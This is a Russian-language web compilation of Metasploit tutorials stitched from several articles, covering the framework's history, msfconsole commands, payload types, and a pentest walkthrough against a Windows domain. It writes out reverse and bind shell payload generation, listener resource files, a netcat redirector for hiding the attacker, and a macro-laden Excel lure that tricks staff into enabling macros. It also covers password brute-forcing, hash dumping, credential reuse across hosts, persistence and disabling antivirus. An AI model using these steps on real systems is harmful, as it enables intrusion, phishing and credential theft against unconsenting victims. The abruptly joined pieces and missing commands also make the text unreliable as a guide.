31.07.2023

Metasploit инструкция по применению. Исследование уязвимостей с помощью Metasploit Framework Конфигурация эксплойта: установка опций


Практического руководства по использованию дистрибутива Kali Linux для аудита ИБ и проведения пен-тестов. Сегодня же мы обратим пристальное внимание на один из инструментов входящих в данный дистрибутив - Metasploit Framework . Рассмотри историю возникновения проекта, а так приведем конкретные руководства и документации способствующие практическому освоению пакета Metasploit

История проекта

В 2003 году, хакеру, известному как «HD Moore» , пришла в голову идея разработать инструмент для быстрого написания и использования эксплоитов . Так на свет появился известный во всех кругах проект Metasploit project .

Первая версия фреймфорка была написана на языке Perl, содержавшая псевдографический интерфейс на базе библиотеки curses. На тот момент это был просто набор разрозненных эксплойтов и скриптов, общие сведения о которых хранились в единой базе данных. Информация о необходимом окружении для запуска скриптов, как правило, отсутствовала. Также они несли в себе кучу устаревшего кода, требовали модификации жестко прописанных путей для каждого конкретного случая, что весьма затрудняло рабочий процесс и усложняло разработку новых инструментов.

При работе над второй (2.x) версией к HD Moore присоединился Мэтт Миллер и еще несколько добровольцев. Третья версия была полностью переписана на Ruby, её разрабатывала компания Metasploit LLC (основанная вспе теми же разработчиками в 2006 году). Через год в 2008 лицензия Metasploit Framework была сменена с проприетарной на BSD. А еще позднее в 2009 году фирма Rapid7 , занимающаяся управлением уязвимостями, объявила о приобретении Metasploit , программного пакета двойного назначения для проведения тестов на проникновение . Так же сообщалось, что некоммерческая версия утилиты по-прежнему будет доступна для всех желающих.

С момента приобретения фреймфорка, многое изменилось.

Появились PRO и Community версии, а в 2010 году, в свет вышла более упрощенная версия для «малоквалифицированных» пользователей - Metasploit Express .

Версии

Сегодня Metasploit распространяется в четырех версиях:

  • Framework - базовая версия с консольным интерфейсом;
  • Community - бесплатная версия, включающая дополнительно веб-интерфейс и часть функционала из коммерческих версий;
  • Express - для коммерческих пользователей, включает функционал, позволяющий упростить проведение базовых аудитов и формирование отчетности по ним;
  • Pro - самая продвинутая версия, предоставляет расширенные возможности для проведения атак, позволяет формировать цепочки задач для аудита, составлять подробную отчетность и многое другое.
Помимо веб-интерфейса, доступного в версиях Community, Express и Pro, существуют такие проекты, как Armitage и Cobalt strike , предоставляющие дружелюбный и интуитивно понятный GUI-интерфейс для фреймворка.

Armitage графическая оболочка

По сравнению с остальными интерфейсами Armitage позволяет в наглядном виде представить все этапы атаки, включая: сканирование узлов сети, анализ защищенности обнаруженных ресурсов, выполнение эксплоитов и получение полного контроля над уязвимой системой.

Все функции программы структурированы и легкодоступны из меню и вкладок программы, даже для начинающего исследователя компьютерной безопасности. Программа предназначена для использования на платформах Linux и Windows. На веб-сайте разработчиков присутствуют исходные коды, справочные руководства в текстовом и видео формате.

Базовые понятия

1. База данных

До начала работы с пакетом нужно учесть возможность использования базы дынных, для хранения информации о хостах, сервисах, уязвимостях и прочем. Подключение к базе весьма не обязательное условие для функционирования фреймворка, но тем не менее повышающее удобство использоавния производительность.

Metasploit использует PostgreSQL, поэтому до начала работы с ним понадобится установить СУБД на свою систему. Затем убедиться, что запущены нужные сервисы БД и фреймворка.

2. Структура фремворка

«Сердце» Metasploit - библиотека Rex. Она требуется для операций общего назначения: работы с сокетами, протоколами, форматирования текста, работы с кодировками и подобных. На ней базируется библиотека MSF Core , которая предоставляет базовый функционал и «низкоуровневый» API. Его использует библиотека MSF Base, которая, в свою очередь, предоставляет API для плагинов, интерфейса пользователя (как консольного, так и графического), а также подключаемых модулей .

Все модули делятся на несколько типов, в зависимости от предоставляемой функциональности:

  • Exploit - код, эксплуатирующий определенную уязвимость на целевой системе (например, переполнение стека)
  • Payload - код, который запускается на целевой системе после того, как отработал эксплойт (устанавливает соединение, выполняет шелл-скрипт и прочее)
  • Post - код, который запускается на системе после успешного проникновения (например, собирает пароли, скачивает файлы)
  • Encoder - инструменты для обфускации модулей с целью маскировки от антивирусов
  • NOP - генераторы NOP’ов. Это ассемблерная инструкция, которая не производит никаких действий. Используется, чтобы заполнять пустоту в исполняемых файлах, для подгонки под необходимый размер

    Auxiliary - модули для сканирования сети, анализа трафика и так далее.

3. Общие команды MSFCONSOLE

Несмотря на наличие графических интерфейсов, самым распространенным способом работы с Metasploit по-прежнему остается консольный интерфейс msfconsole .

Рассмотрим основные команды:

  • use - выбрать определенный модуль для работы с ним;
  • back - операция, обратная use: перестать работать с выбранным модулем и вернуться назад;
  • show - вывести список модулей определенного типа;
  • set - установить значение определенному объекту;
  • run - запустить вспомогательный модуль после того, как были установлены необходимые опции;
  • info - вывести информацию о модуле;
  • search - найти определенный модуль;
  • check - проверить, подвержена ли целевая система уязвимости;
  • sessions - вывести список доступных сессий.

Что такое метасплойт?

Метасплойт (а правильно говорить о метасплойте как о проекте) – это именно проект в области компьютерной безопасности, направленный на информирование пользователей (в первую очередь владельцев, разработчиков и администраторов) сетей и ресурсов о возможных уязвимостях в системе безопасности и помогающий в тестировании систем и сетей с целью закрытия в дальнейшем дыр в их безопасности и защиты от . Для разработки метасплойтов существует специальная среда под названием Metasploit Framework . Последняя вылилась в своеобразный подпроект, представляющий собой программную среду или платформу для разработки и использования эксплойтов на удалённой машине. Вопрос использования платформы и применения проекта в целом достаточно скользкий, так как среда, призванная к проведению исследовательской деятельности системных администраторов сети в области защищённости сетей с успехом используется хакерами для разработки и внедрения новейших эксплойтов для получения неавторизованного доступа к ресурсам.

Metasploit Framework с момента изобретения в 2003 претерпела некоторые изменения, и до нас дошла со свободно распространяемой лицензией в бесплатном и коммерческом вариантах. В оба варианта включено множество готовых эксплойтов, которые помогут справиться с обнаружением известных уязвимостей. Отлично запускается на Unix и Windows системах, имеет несколько интерфейсов на выбор пользователя, в том числе в виде окна браузера.

Как пользоваться Metasploit Framework, или что умеет метасплойт? Основные шаги в использовании среды.

Перед работой в среде, конечно, необходимо собрать максимум информации о компьютере, так что необходимо пользоваться полным набором сетевых и , так что над выбором эксплойта и пэйлоуда придётся потрудиться.

Где скачать Metasploit Framework?

Да вот здесь:

https://www.metasploit.com/download/

Но не торопитесь. Также платформа входит в состав некоторых свободно распространяемых сборок систем на бесплатной и свободной лицензии. С такой мы и будем знакомиться на странице блога в разделе Линукс. В состав принимающей участие во множестве экспериментов эта среда входит совершенно бесплатно.

Знакомство с понятием ШЕЛЛ.

В зависимости от типа эксплойта, после того как экплойт претвориться в жизнь, мы будем иметь дело либо с удалённым шеллом (Remote shell ) и метр-шеллом (Meterpreter shell ).

Удалённый шелл – компьютерная программа из командной строки (терминала), которая может исполнять команды на удалённом компьютере, словно бы вы находились за его клавиатурой. Это своеобразный удалённый Рабочий стол (так он называется в Windows). Стандартный шелл применяется в случаях, если хакер собирается исполнять на компьютере жертвы стандартные команды. Однако если речь идёт о комплексных манипуляциях в текущей сессии и исполнении команд с дополнительными флагами, будет использован шелл Метерпретер.

С метр-шеллом немного интереснее. Meterpreter shell предлагает уже целую кучу готовых программных решений. В их числе утилиты и скрипты для сбора информации по удалённому компьютеру, инструменты контроля над устройствами типа микрофон или вебкамера и т.п. И с развитием техник взлома интерес к готовым решениям, которые только разрастаются и совершенствуются, всё больше. А теперь об описанных выше шагах чуть подробнее.

Поиск и конфигурация эксплойта

Подразумеваю, что вы уже в Кали. Запускаем Метасплойт и даём команду на отображение известных эксплойтов. Это команда

Терминал вернёт информацию по эксплойтам в алфавитном порядке. Это не всегда удобно, потому поиск можно уточнить флагами на поиск по:

  • словарю Общих уязвимостей и незакрытых дыр в безопасности (CVE ID ). Можно сразу указать желаемый год:
search cve:2017

  • бюллетеню безопасности Майкрософт
search MS
  • прямо по желаемой программе или производителю ПО или устройства
search Netgear

  • и, выцепив интересненькое, получить по этому поводу всю об уязвимости информацию, добавив перед уязвимостью info (ссылки на ещё более подробную инфу по этому вопросу будут в том же терминале). Взгляните:

Там всё есть и ждёт вашего анализа и применения. Но перед тем, как перейти в конфигурации эксплойта, возьмём уязвимость в оборот командой use

Или, вернувшись к одному из предыдущих окон, обнаружить к оборудованию подходящий эксплойт и также его применить:

и сразу проверим, как его применять и к чему привязать, используя знакомый нам флаг info в контексте эксплойта:


Конфигурация эксплойта: установка опций

Направить метасплойт в нужное русло нам поможет команда set . Команда в msf примет вид

Set имя_переменной её_значение

Но чтобы узнать, какие переменные для эксплойта существуют, можно использовать команду show options

Раздел Module options , знакомый нам по окну команды с флагом info , показывает, какую конфигурацию можно применить в плане выбора цели. Так, модуль сразу указывает на то, что эсплойт применяется против уязвимости с применением этих ОБЯЗАТЕЛЬНЫХ опций (готовые к работе выделены флагом yes , те, что на no вами ещё не настроены). То есть для осуществления эксплойта пентестер указал:

  • адрес удалённой системы (RHOST )
  • удалённый порт 8080 (RPORT )
  • в качестве индетификатора цели (TARGETURI ) – путь к приложению в системе или путь к оборудованию жертвы (например, если атакуется роутер, здесь указывается полный путь в виде адреса к уязвимому файлу)

Завершим картинку в общих чертах. Запуск эксплойта в нашем случае примет примерно такой вид:

Exploit(netgear_nms_rce) use msf exploit(netgear_nms_rce) set RHOST 10.10.10.10 set RPORT 8080 set TARGETURI exploit -j

На ус команды, описанные выше, мотать не нужно. Более подробнее информация будет дана позже.

Выбор и формирование пэйлоуда

Зачем нам доступ к чужому компьютеру, если мы ничего там не натворим? И для этой цели понадобится пэйлоуд. Применимо к теме метасплойта, пэйлоуд – именно та часть зловредного программного обеспечения, направленного на изменение функционала системы. В то время, как другая часть программы-вредоноса может быть направлена на дополнительные функции (например, копирование и тиражирование самого себя; речь идёт о компьютерном вирусе). Как понимаете, пэйлуд можно вычленять в отдельный код и использовать в разных вариантах.

Работая в среде Metasploit, можно посмотреть на готовые варианты пэйлоудов применимо к выбранным эксплойтам. Это делается командой

Show payloads

в выбранном вами варианте эксплойта. Ещё вариант – в выбранном эксплойте пишем

Set payload

и закрепляем, дважды нажав по клавише Tаb . Metasploit спросит, не хотите ли вы посмотреть всех… Пэйлоудов. И обычно терминал Metasploit-а выводит информацию по пэйлоудам в формате Operating System/Shell Type Операционная система/Тип шелла . Например

Set payload/windows/shell_reverse_tcp

Остаётся выбрать нужную ОСь и понравившийся тип пэйлоуда. Самые популярные типы пэйлоудов это и есть шеллы, о которых мы говорили выше (удалённый шел и метерпретер шел или метер -шелл).

Выбор пэйлоудов из кэша среды очень широк. Так же как и выбор средств, с помощью которых система жертвы будет “сливать” хакеру нужную информацию. Типичные шеллы с основой reverse_tcp из команды выше для того и существуют: исполняясь на удалённой системе, они сообщают злоумышленнику данные, часто не вызывая подозрений у системного фаервола.

Пока всё. Успехов

Появившись на свет 7 лет назад, MSF впоследствии из простого фрэймворка для написания рабочих сплоитов превратился сначала в некий «швейцарский нож», а теперь – в целую мастерскую по проведению пентестов, включая в себя все необходимое – от сбора инфы до продвинутых способов постэкслуатации. Не зря ведь MSF входит в пятерку самых юзаемых тулз. И что радует – MSF продолжает расти и развиваться! А в каком направлении – узнаешь из этой статьи.

Изначально в статье предполагалось описать возможности автоматизации действий в MSF, но, проанализировав знания народа о фрэймворке, было решено поведать о более-менее продвинутых встроенных возможностях его самого, а об их автоматизации будет сказано по ходу. Это чтобы люди не изобретали велосипед:).

Кстати, о знаниях. Неудивительно, что их не так много, так как всеобъемлющих статей/книг о Metasploit’е даже на английском нету. Так что основные нычки с инфой – иностранные блоги, да личные исследования. Плюс радует, что Руби – вещь простая, и по чужим примерам можно что-то свое дельное сделать.
Но к делу! Все описанное касается последней версии – MSF 3.4.2.

ГУИ возвращается!

Для тех, кто не любит консоль или лень разбираться с командами MSF, существует гуишная оболочка на основе GTK. Точнее существовала, так как с версии 3.3 на нее забили. Если не ошибаюсь, то же самое случилось и с msfweb. То есть пользоваться еще можно, но и так со стабильностью были проблемы, а тут... эх!

Но во время подготовки статьи случилось хорошее – новая гуишная оболочка. Она изменилась и снаружи, и внутри. Если точнее, то она написана на Java, потому кроссплатформенна, и к тому же взаимодействует с MSF через XMLRPC интерфейс, то есть можно использовать ее удаленно.

Запуск гуи делается в две стадии: стартуем msfrpcd, коннектимся к нему через msfgui. Под никсами запустив msfgui можно просто кликнуть «start new msfprcd»

Версия для Win:

  1. Запускаем Cygwin консоль
  2. cd /msf3
  3. msfrpcd -S -U username -P password где –S – отключение SSL, и придуманные логин/пасс
  4. запускаем msfgui.jar, который храниться в %MSF%\msf3\data\gui либо двойным кликом, либо в консоли (не в cygwin’e): java –jar msfgui.jar

В msfgui вводим логин/пасс, порт, IP и коннектимся.

Кое-чего, даже по сравнению со старой гуи, не хватает. Например, доступа к консоли или просмотр логов. Но работать можно, особенно если требуется по быстрому пробежаться по сплойтам, модулям, полазить по чужому компу и т.д.

Сбор информации

Тебе должно быть известно, что MSF работает с БД для складирования информации, обмена ей между своими модулями. И это направление активно развивается.

Для начала, единственная полностью поддерживаемая БД – это PostgreSQL. От SQLite отказались из-за вопросов производительности/масштабируемости, с MySQL тоже что-то не гладко пошло. Вообще, установка Postgres’а не должна вызвать проблем. Драйвер для взаимодействия вшит в MSF.

Под Win: ставим, задаем пасс для юзера – postgres и порт.

Через pgAdmin: коннектимся к локальному серваку, создаем еще одного пользователя «Роли входа» (msf_user), создаем БД в «Базы» (msf_db). Там же можно настроить сам SQL-сервак, сделав его «побезопасней», да и полазить по таблицам MSF.

msf> db_driver postgresql
msf> db_connect msf_user:[email protected]:5432/msf_db

Теперь команда db_create не работает напрямую, можно только коннектиться к существующей БД, и, если есть соответствующие права (как у юзера postgres), база автоматически создастся. Иначе – создавать базу вручную в Postgres’е.

Но это не так страшно, ведь можно пользоваться workspace’ами. БД одна, таблицы те же, но модули обмениваются/добавляют инфу только в текущем спэйсе. Попробуешь – поймешь, db_workspace тебе в помощь.

Немного разберемся с командами:

  • db_service – выводится инфа о портах/сервисах, просканированных либо модулями, либо встроенным nmap’ом, либо импортированная из сторонних программ. На основе этого работает db_autopwn с параметром –p (по портам);
  • db_notes – «заметки», типа версии ОС, полученные из Nmap, или какие-то «подробности» полученые WMap’ом. Жаль, но db_autopwn, похоже, не смотрит db_notes для выбора сплоита.
  • db_vulns – уязвимости, найденные либо модулями MSF(WMap), либо импортом из Nessus’а(OpenVAS), Nexpose. На основе этого работает db_autopwn с параметром –x (по уязвимостям).

Для примера просканируем хост nmap’ом и результаты попадут в нашу БД:

msf> db_nmap –PN –sV 192.168.0.101

Итог от модуля порт-сканера из MSF будет аналогичным, и данные тоже попадут в БД. Вот только для определения сервисов требуется пользоваться уже другими модулями (все aux-модули с «version» на конце в разделе scanner, например, scanner/imap/imap_verison).

msf> use scanner/portscan/tcp
msf> set RHOSTS 192.168.0.101
msf> set PORTS 1-1000
msf> run -j

Чтобы автоматизировать последние действия, да и вообще любые действия в MSF, можно воспользоваться так называемыми resource-файлами. По сути это обычные текстовые файлики с последовательным перечислением команд для MSF. Например, создадим ресурсик для быстрого запуска «сервера» для реверсового meterpreter’а. Для этого пихнем в файл(metrevhandl.rc) следующие команды:

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LPORT 4444
set LHOST 192.168.0.102
exploit –j
back

Запускаем наш скрипт с помощью «resource»:

msf> resource metrevhandl.rc

Как видишь – очень удобно. Но это еще не все. Самое сладкое в том, что в этих скриптах можно писать код на Руби, что и позволяет нам, например, установить взаимоотношения между отдельными модулями MSF.

Кстати, home/.msf3/msfconsole.rc – скрипт, который автоматически запускается при старте msfconsole. В него очень удобно запихнуть коннект в БД, например.

Входим...

WMAP. WMAP – это попытка заточить MSF под веб-приложения и как-то автоматизировать все это дело. Проект WMAP пока находится на ранней стадии и работает не особо хорошо, особенно по сравнению со своими конкурентами. Вряд ли он будет развиваться, во всяком случае, в своем нынешнем виде, а причина в том, что Rapid7 начала очень плотно финансировать опенсорсный w3af фрэймворк, который и заточен под дела веба, так что можно ожидать слияние внутренностей или функционала MSF и w3af. Но все же небольшой пример (требуется подключение к БД):

1. Подгружаем плагин wmap:

msf> load db_wmap

2. Добавляем жертву:

msf> wmap_targets -a http://www.example.com/

3. Просмотр и запуск модулей против нашей жертвы:

msf> wmap_run -t
msf> wmap_run –e

Итоги складируются в БД и доступны через db_vulns, db_notes.

Для некоторых модулей требуется настройка параметров. Это можно сделать с помощью команды setg. Также в WMAP есть паук (wmap_crawler) и возможность взаимодействия с прокси (wmap_proxy).

Вдобавок любителям помучить базы данных всевозможными инжектами советую посмотреть модуль MSF – scanner/http/sqlmap. Это порт одноименной тулзы – SQLmap. Вещь, по ходу, мощная:). Инфу о тулзе можно почерпнуть на сайте создателей – .

db_autopwn

Автопавнилка в MSF обзавелась парой полезных параметров:

  • -R – указывает минимальный ранк эксплойта, который будет применяться;
  • -m – задают регекспу для выбора сплотов.

Например:

msf> db_autopwn -t -p -m windows -R excellent

выведет список только лучших сплоитов под стандартные Win-сервисы.

Кстати, с версии 3.3.1 с Nexpose можно работать прямо из MFS и сразу автопавнить на основе выявленных уязвимостей.

1. Подгружаем плагин и подключаемся к Nexpose:

msf> load nexpose
msf> nexpose_connect msf_user:[email protected]

2. Запускаем только лучшие сплоиты по найденным уязвимостям:

msf> nexpose_scan -R excellent -x 192.168.0.101

Browser_autopwn

Если предыдущая павнилка была заточена по стандартные сплоиты, то эта – под клиентские, нацеленные на браузеры жертв, что понятно из названия.
По сути, этот модуль поднимает HTTP-сервер и на нем же поднимает все сплоиты под браузеры. Когда жертва заходит на наш сервак, модуль определяет версию браузера и ОС, после чего запускает соответствующий сплоит. Пока что основной фичей модуля является точное определение версии браузера/ОС. Используются как серверные, так и клиентские возможности(JavaScript) по детекту. То есть обмануть модуль, подставив другой User-Agent, точно не удастся.

Из имеющихся сплоитов хорошо валятся олдскульные версии браузеров, но самое приятное в том, что просто добавлять свои сплоиты, а это уже сила. Бесплатный сплоитпак получается.

В будущих версиях обещают добавить возможности по обфускации сплоитов (чтобы антивирями не палилось) и возможности по выбору нагрузок.

Например, создадим сервак с бэкконнектом для шеллов 192.168.0.102:

msf> use server/browser_autopwn
msf> set LHOST 192.168.0.102
msf> set URI index.php
msf> exploit -j

VBA

В разделе EasyHack я уже писал о создании «троянов» с помощью MSF, но засылать exe-файлы – это очень палевно. Юзеры нынче стали пугливые и не открывают все, что попало, а там еще и предупреждения от винды. Куда менее палевно применять какие-нибудь офисовские файлы:

msfpayload windows/shell_bind_tcp LPORT=5555 V > macros.vba

Далее создаем, например, экселевский документик со страшными именем «Зарплата сотрудников». Потом открываем полученный VBA, текст макроса (MACRO CODE) пихаем в макрос документа (Сервис –> Макрос –> Редактор VB), а в конец документа – нашу «нагрузку» (PAYLOAD DATA). В начало документа можно добавить какие-нибудь расчеты для красоты. Так как макросы по дефолту отключены (с версии OfficeXP, насколько мне известно), то строчкой вида «Внимание! Работа с базой возможна только при включенных макросах. Чтобы их включить, зайдите в «Сервис –> Параметры –> Безопасность –> Защита от макросов –> Низкая» и перезапустите документ», можно заставить пользователя подключить макросы. В итоге – шелл на 5555 порту.

Смысловая нагрузка

На самом деле выбор нагрузки(payload) к сплоитам – дело важное. Но их в MSF много, так что я немного пробегусь по ним (в основном по Win*), чтобы появилось общее понимание. Во-первых, есть общее разделение по ОСям, а так же ПО и подгружаемым интерпретаторам (ruby, perl).

Общее разделение по описанию:

  • С пометкой «Inline» – это «целиковые» шеллкоды. Они большие, потому не всегда влезают в эксплойты;
  • «Stager» – нагрузки, разделенные на части. В сплоит попадает небольшой шеллкод, в основном для установки соединения, остальное подгружается при подключении;
  • «Ord» – «заточенные» нагрузки. Маленькие по размеру, но привязанные к статическим адресам в памяти системной DLL’ки;
  • «Bind» – открытие порта и ожидание соединения;
  • «Reverse» – бэкконнект-шелл;
  • «Findport» – происходит поиск сокета, через который работал эксплойт, далее шелл открывается через него. Поиск осуществляется по номеру порта;
  • «Findtag» – аналогично предыдущему, только определение сокета ведется за счет прослушки всех доступных в ожидании прихода 4-байтового тэга от хакера.;
  • «Exec, Download_exec, Up_exec» – шеллкод на запуск команды, скачку/закачку и запуск;
  • «VNC» – запускаем VNC-сервер у жертвы;
  • «dllinjection» – подгрузка DLL’ок в память процесса. Инжект DLL’ок есть двух видов;
  • «metsvc» – целиком загружает meterpreter жертве и прописывает его как сервис;
  • «PassiveX» – наш шелл выступает элементом ActiveX.
  • «NoNX» – шеллкоды с обходом механизма защиты памяти DEP;
  • «DNS» – те, что могут работать по именам хостов, а не по IP;
  • «HTTPS» – шелл, который общается по шифрованному HTTPS-протоколу (жаль, без поддержки прокси).

Немного остановлюсь на PassiveX, так как они очень хороши.
Суть заключается в том, что наш шелл прописывается как элемент ActiveX, а взаимодействие происходит через скрытую версию IE по HTTP-протоколу. Это на самом деле круто, особенно, если ты ломаешь какую-то корпоративную сетку, где все сидят за NAT’ом и с общим файрволом, пропускающим только HTTP-трафик с корпоративного прокси-сервера. В таком случае ни одна другая нагрузка не поможет, особенно если ты не знаешь настройки для прокси. А тут – все настройки для прокси и аутентификации на нем (если она есть) уже прописаны в IE.

Создадим нагрузочку и прослушку под нее (192.168.0.102:443):

msfpayload windows/meterpreter/reverse_http PXHOST=192.168.0.102 PXPORT=443 PXURI=/ X > reflmeter102.exe

msf> use exploit/multi/handler
msf> exploit -p windows/meterpreter/reverse_http -o PXHOST=192.168.0.102,PXPORT=443,PXURI=/

Причем, если раньше PassiveX работал только под IE6, то теперь все окей и с IE7/8.

Далее об обычных шеллах. Обычный шелл – это, конечно, хорошо, но если ты юзал meterpreter, то тебе захочется к нему вернуться.
И теперь у нас есть такая возможность. Предположим у нашей жертвы (192.168.0.101) уже повешен обычный бинд-шелл на 5678 порту.

Коннектимся к нему из MSF:

msf> use exploit/multi/handler
msf> exploit -p windows/shell_bind_tcp -o RHOST=192.168.0.101,RPORT=5678

Хотелось бы сказать, что следующей командой мы превращаем обычный шелл в meterpreter, да не судьба. MSF просто подгружает бэкконект meterpreter и, запустив его, создает еще одну сессию (создается еще одно соединение). Хотя это тоже не плохо. Но чтобы все работало, нам надо установить глобальные значения своего хоста (куда коннектиться реверсу), а потом уже «обновить» сессию (предположим, она у нас «1»):

msf> setg LHOST 192.168.0.102
msf> setg LPORT 6666
msf> sessions –u 1

В итоге избавляемся от кучи напрягов и ограничений обычного шелла.

Кстати, о meterpreter’e. Его уже давно пытаются перенести на другие платформы(linux, Macos), но пока как-то там не все гладко. Но, все-таки, есть хорошие новости: в каком-то виде meterpreter был перенесен на PHP! В «каком-то», потому что не все функции позволяет реализовать PHP, но основное уже доступно. Так что можно залить на заваленный сервак и побаловаться таким крутым шеллом.

Теперь поговорим о собственной «безопасности». Пока что большинство модулей MSF не поддерживают прокси, особенно это относится к боевым нагрузкам. Ведь мы же не хотим, чтобы нас вычислили:). Потому вспомним олдскульную фичу – портфорвардинг.

Предположим наш сервак с MSF, ожидающий бэкконнект шеллов, находится по адресу «192.168.0.103:5555». Тогда на подставном сервачке на 80 порту мы вешаем netcat:

ncat --sh-exec “ncat 192.168.0.103 5555” –l 80 --keep-open

А в payload’ах мы прописываем IP (или DNS) и порт подставного сервака.
Кстати, netcat поддерживает SSL, так что можно и зашифровать трафик, если сам шелл этого не позволяет.

Постэксплуатация

Да, теперь переходим к самому вкусному – постэкслуатации и meterpreter’у. Надеюсь, ты знаком с meterpreter’ом, потому как рассказывать, насколько он хорош (и следов после себя почти не оставляет, и работает в chroot’е) и функционален (встроенные хак-тулзы, модификация реестра и файловой системы, миграция по процессами и токенам, маршрутизация) у меня нет желания:).

Давай предположим, что мы получили доступ к одному из компов (192.168.146.129) в корпоративой сети и мы (192.168.0.102) хотим развить наш успех – просканить подсетку и поиметь еще что-нибудь.

Добавляем маршрут (подсетка, ее маска, сессия для маршрутизации) в msfconsol’е:

msf> route add 192.168.146.0 255.255.255.0 1

К сожалению, nmap не захотел пользоваться этим маршрутом – видимо, не такая глубокая интеграция пока что. Но обычными модулями, сплоитами и сканерами спокойно (то есть без каких-либо спецнастроек) можно пользоваться для развития атаки (см. рисунок) – всю маршуртизацию берет на себя MSF.

Так как у определенных хостов может быть ограничен доступ во внешнюю сеть (где находимся мы), то для связи с ними можно использовать портфорвардинг на уже уделанной жертве, благо, meterpreter это умеет:

meterpreter> portfwd add -l 8008 -p 2222 -r 192.168.0.101

Теперь прописываем в payload’ах сплоитов LHOST=192.168.146.129, LPORT=8008, и все будет тип-топ.

Meterpreter имеет чудесную возможность – автоматизация действий посредством руби-скриптов. Это реально круто. Посмотреть существующие скрипты можно в msf3\scripts\meterpreter, во время юзания – пишем run и дважды Tab (для тех, кто не в теме:). Запускать скрипты можно либо ручками через команду run, либо указав переменную AutoRunScript или InitialAutoRunScript при конфиге нагрузке/сервера. Вторая переменная – выполняется до запуска шелла, первая – после.

Скриптов входящих в поставку уже много, из самого стандартного:

  • winenum – быстренько собирается вся инфа о системе от сетевых настроек до установленного ПО и хешей;
  • persistence, metsvc – прописывает meterpreter на автозапуск в реестре или как сервис;
  • getcountermeasure – отключает файер, может убивать процессы разнообразных антивирусов и файрволов.

Вместо заключения

В статье я постарался описать что-то новое (во всяком случае, для русскоязычных источников) и при этом обо всех стадиях взлома, так что, надеюсь, она будет тебе полезна. К тому же, родилось пара гениальных идей, которые осталось лишь реализовать, да нашлось пару гадких багов в MFS, которые, я надеюсь, будут устранены к выходу номера. В общем, творить – это чудесно!

Несколько подсказок:

  • В msfconsol’е отлично работает автодополнение посредством нажатия Tab, к тому же все команды поддерживают хелп параметром «-h».
  • Если хочешь приостановить выполнение команды – Ctrl+C, отправить в бэкграунд – Ctrl+Z.
  • Копирование текста в cygwin’е делается с помощью левой/правой кнопки мыши, вставка – Shift+Insert.
  • Под виндой доступ к интерфейсам msfcli, msfpayload и т.д. осуществляется через консоль cygwin. Но желательно хорошенько потестить, так как не все функции могут работать адекватно.

может быть ВНЕЗАПНО использован в качестве инструмента для тестирования на проникновение (аудита безопасности IT-инфраструктуры), состоит из множества утилит, образующих платформу для реализации широкого спектра атак. Покажу пару примеров Metasploit, которые могут быть использованы в качестве алгоритма пентеста. При этом буду пользоваться только метасплойтом, чтоб показать его мощь и гибкость. Как платформа для атак использую Backtrack 5 R2, на которую установлен сам метасплойт. Так же очень важно отметить, что там же работает СУБД postgresql, котоая принимает подключения. Сеть для тестирования сценариев - 192.168.3.0/24.
Приступаем;)

1. Открываем msfconsole, проверяем статус базы данных.

хорошо, поговорим о воркспейсах (workspaces), которые испоьзуются в метасплойте как логические единицы информации. Можно иметь разные воркспейсы для разных пентестов или разные местоположения (location) для пентеста. Таким образом, легко ипортировать\экспортировать данные между разными воркспейсами.

В одном воркспейсе хранится несколько таблиц данных, например hosts, services, vulns, loot и notes.
В эти таблицы можно добавлять информацию вручную, например, добавим хост в таблицу.


Так же можно добавить сервис в таблицу сервисов.


Для заполнения этих таблиц автоматизированно, можно использовать db_nmap. Так же можно использовать какую-то любую (твою любимую, например) утилиту для сканирования, экспортировать результаты её работы в XML-файл, а потом - импортировать его в метасплойт. Это можно сделать, использовав db_import внутри меню метасплойт (перечень форматов отчётов, которые понимает метасплойт - ниже).


Посканируем nmap.

Посмотрим, какие хосты содержатся в таблице hosts после этого.


В таблице сервисов можно отфильтровать только нужные нам столбцы.

Поскольку мы видим слишком много виндовс-машинок, используем модуль auxiliary, который сканирует версию smb.


Выбрать один из хостов надо командой set. Но мы сделаем хосты один за другим, что удобно делать с помощью базы. Мы добавим хосты из базы сервисов с портом 445 в файл.


После сканирования посмотрим в таблицу сервисов.

Имеем хосты с Windows 2003, один хост с Windows 2003 сервис паком 1. Видим имена хостов и имя домена - "TEST".
Остальная информация (я предполагаю что это так, исходя из имён хостов):
TEST-EMEA-DC-01 - контроллер домена
TEST-EMEA-DB-01 - сервер баз данных

Хорошо, поработаем с потенциальным сервером БД.

Предположил, что там установлена СУБД MSSQL (т.к. винда же..), но мускуль обічно работает на порту 1433, которій отсуствует в списке. "Выстрелю вслепую" и попробую запустить тест для СУБД MSSQL.


Похоже, вышло.

Хорошо. Создам инстанс mssql. Запуск на порту 1043, SQLEXPRESS. Он имеет версию 9.00.4035.00, билд которой соответствует Microsoft SQL 2005 SP3. Глянем таблицу сервисов, что изменилось там?

Добавилось: порт 1043 как mssql и UDP-порт 1433. Это порт, который реально используется mssql.
Теперь мызнаем, что сервис баз данных работает на этом порту и можем организовать брутфорс-атаку, используя всё тот же метасплойт.

Укажем верный номер удалённого порта (СУБД слушает нас на 1043 порту), имя пользователя и пароль.

Запустим и успешно найдём пароль.

Окей. Есть пароль и это наш парвый credential. В таблице creds увидим его.


Время создать эксплойт.


Знаем имя пользователя, пароль и порт.


Получаем шелл meterpreter.

Отложим эту сессию. Обратимся к списку сессий, увидим там 1 сессию.


Далее покажу как использовать некоторые модули, которые полезны после эксплуатации системы.

Используя smart _hashdump, можно проверить хеши. Устанавливаю параметры SESSIONS и GETSYSTEM.

Запускаю.


Имеем обновления в таблице loot.
Я получил привилегии SYSTEM и 2 хеша. Кажется, что это действующий аккаунт администратора (у учётки “localadmin” RID всегда 500).

Глянем в таблицу loot.

В таблице 3 вкусняшки.

Проверю, используется ли этот пароль админа в других системах. Всё, что мне для этого надо, у меня есть.

Добавлю список хостов из таблицы services (мы сохранили его раньше).


Ломать хеш не будем (а зачем?), просто посмотрим. Установим параметры BLANK_PASSWORDS и USER_AS_PASS в значение "ложь".

Увидим много успешных входов после запуска. Вывод - админ имеет один пароль на несколько машин в сети.

Нашлись ещё несколько креденшелов.


я получил локальные пароли к уязвимым виндовс-системам. Можо использовать эксплойт
psexec, но придётся перебирать все хосты один за другим вручную, а это не удобно.
В эксплойтах обычно надо задать параметр - RHOST, а не RHOSTS и поэтому нельзя задать список хостов для поиска уязвимостей.
Покажу как можно автоматизировать этот процесс с помощью скриптов.

Из разных источников в Интернете слепил этот скрипт. Его можно легко изменить и добавиь функционала.

Сейчас я запустил psexec.
Но я не могу запускать этот скрипт, т.к. тут используется полезная нагрузка (payload) windows/meterpreter/reverse_tcp
